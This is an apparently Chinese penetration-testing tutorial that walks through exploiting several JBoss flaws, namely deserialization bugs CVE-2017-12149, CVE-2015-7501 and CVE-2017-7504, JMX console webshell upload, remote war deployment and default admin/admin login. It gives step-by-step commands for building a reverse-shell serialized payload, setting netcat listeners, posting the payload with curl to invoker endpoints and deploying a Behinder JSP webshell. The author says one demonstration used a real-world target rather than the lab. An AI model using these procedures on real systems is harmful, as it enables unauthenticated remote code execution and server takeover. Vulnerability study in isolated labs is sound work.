JBoss是一个基于J2EE的开放源代码应用服务器，代码遵循LGPL许可，可以在任何商业应用中免费使用；JBoss也是一个管理EJB的容器和服务器，支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器，一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域，JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发，并且由开源社区开发，这使得JBoss广为流行。

JBOSSApplication Server反序列化命令执行漏洞(CVE-2017-12149)，远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。

漏洞原理

该漏洞为 Java反序列化错误类型，存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化，从而导致了漏洞。

首先需要了解Java的序列化和反序列化。Java序列化就是指把Java对象转换为字节序列的过程，在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。Java反序列化就是指把字节序列恢复为Java对象的过程，根据字节流中保存的对象状态及描述信息，通过反序列化重建对象。

用代码看就是：

序列化：

FileOutputStream fos = newFileOutputStream(file); ObjectOutputStream oos = newObjectOutputStream(fos); oos.writeObject(st);

反序列化:

FileInputStream fis = newFileInputStream(file); ObjectInputStream ois = newObjectInputStream(fis); Student st1 = (Student) ois.readObject();

CVE-2017-12149的漏洞出现在HttpInvoker组件中的ReadOnlyAccessFilter过滤器中，源码在jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中,其中doFilter函数代码如下

可以看出它从http中获取数据，通过调用readobject()方法对数据流进行反序列操作，但是没有进行检查或者过滤。这就造成了JBoss中invoker/JMXInvokerServlet路径对外开放，而且JBoss的jmx组件支持Java反序列化

漏洞复现

首先进入CVE-2017-12149的docker环境

cd jbosslscd CVE-2017-12149sudo docker-compose up -ddocker ps

访问http://192.168.1.8:8080/invoker/readonly，若返回如下界面则存在漏洞

这里需要用到javac进行编译ser文件，所以首先安装java环境

cd /optcurl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gztar zxvf jdk-8u20-linux-x64.tar.gzrm -rf /usr/bin/java*ln -s /opt/jdk1.8.0_20/bin/j* /usr/binjavac -versionjava -version

可以看到这里javac环境已经存在

利用反序列化工具CVE-2015-7501：https://github.com/ianxtianxt/CVE-2015-7501/，这里使用的反序列化工具对于CVE-2017-12149和CVE-2015-7501两个漏洞都可以进行利用，总体上都是利用java的反序列化

这里我git这个工具一直git不下来，就找了个实战的环境打了码，原理跟docker复现是一样的

首先使用java编译ser文件

javac -cp .:commons-collections-3.2.1.jarReverseShellCommonsCollectionsHashMap.javajava -cp .:commons-collections-3.2.1.jarReverseShellCommonsCollectionsHashMap192.168.1.192:4444（IP是攻击机ip,4444是要监听的端口)

这个时候在这个目录下生成了一个ReverseShellCommonsCollectionsHashMap.ser文件

这个时候我们还需要使用nc来监听一个端口来接受反弹shell

再使用一个curl去请求反弹建立连接，就能够得到一个反弹shell

curl http://目标机ip:port/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)，JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象，然后我们利用Apache Commons Collections中的Gadget执行任意代码。

漏洞原理

跟之前的CVE-2017-12149漏洞相似，都是使用了java的反序列化，该漏洞为 Java反序列化错误类型，存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化，JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象，从而导致了漏洞。

漏洞复现

进入CVE-2015-7501的docker环境，这里在vlunhub里面是直接用JMXInvokerServlet命名漏洞环境

访问http://192.168.1.8:8080/invoker/JMXInvokerServlet弹出对话框则存在漏洞

使用nc监听4444端口，然后跟CVE-2017-12149一样使用java编译生成一个ser文件执行，使用nc监听端口即可得到反弹shell

nc -lvp 4444curl http://192.168.112.148:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

CVE-2017-7504为JBossMQ JMS 反序列化漏洞

漏洞原理

CVE-2017-7504漏洞与CVE-2015-7501的漏洞原理相似，只是利用的路径稍微出现了变化，CVE-2017-7504出现在/jbossmq-httpil/HTTPServerILServlet路径下。JBoss AS 4.x及之前版本中，JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java⽂件存在反序列化漏洞，远程攻击者可借助特制的序列化数据利⽤该漏洞执⾏任意代码

漏洞复现

进入CVE-2017-7504的漏洞docker环境

访问http://192.168.1.10:8080/jbossmq-httpil/HTTPServerILServlet，若出现如下界面则存在漏洞

使用nc打开端口监听，再用之前生成的.ser文件，通过POST二进制数据上去，使用nc监听端口，即可拿到shell

nc -lvp 4444curl http://192.168.112.148:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

CVE-2007-1036即JMX Console HtmlAdaptor Getshell，因为JBoss中/jmx-console/HtmlAdaptor路径对外开放，并且没有任何身份验证机制，导致攻击者可以进入到jmx控制台，并在其中执行任何功能

漏洞原理

该漏洞利用的是后台中jboss.admin -> DeploymentFileRepository -> store()方法，通过向四个参数传入信息，达到上传shell的目的，其中arg0传入的是部署的war包名字，arg1传入的是上传的文件的文件名，arg2传入的是上传文件的文件格式，arg3传入的是上传文件中的内容。通过控制这四个参数即可上传shell，控制整台服务器，arg1和arg2可以进行文件的拼接，例如arg1=she，arg2=ll.jsp。这个时候服务器还是会进行拼接，将shell.jsp传入到指定路径下

漏洞复现

这里使用之前的docker即可，首先访问下8080端口是一个jboss

!

访问192.168.1.10:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin%3Aservice%3DDeploymentFileRepository定位到store()方法

p1为部署包的名字，p2为脚本名字，p3为脚本后缀，p4为脚本内容即我们需要写入的shell

点击invoke部署看到successfully说明上传成功，这时候再使用冰蝎连接即可

漏洞原理

默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马有安全隐患

部署的war包在本地的路径为：

JBoss AS 6.x：C:\jboss-6.1.0.Final\server\default\work\jboss.web\localhost

JBoss AS 4.x：C:\jboss-4.2.3.GA\server\default\work\jboss.web\localhost

漏洞复现

使用之前的docker访问8080端口，点击JMX Console直接进入

找到flavor字符串，这一行就是jboss远程部署war包所在的位置

点进去之后找到addURL()这个位置

准备一个jsp小马，这里我用使用的是冰蝎，用jar打包当前文件夹下的文件

jar -cvf shell.war .

得到shell.war

使用python启动一个http服务

python -m http.server

访问一下能够访问到

再回到addURL()的地方，输入war文件的地址，然后点击inmoke部署

可以看到已经部署成功了

返回之后可以看到部署的物理位置

点击应用更改

访问一下可以访问到，证明已经上传成功

这里使用冰蝎连接即可

在jboss的6.x版本里面存在一个弱口令admin/admin，使用弱口令登陆后台并上传war包

漏洞原理

JBoss Administration Console存在默认账号密码admin/admin，如果Administration Console可以登录，就可以在后台部署war包getshell

漏洞复现

访问8080端口点击Administration Console

使用admin/admin进入后台

选择war包进行上传

上传成功，使用冰蝎连接即可

戳“阅读原文”体验靶场实操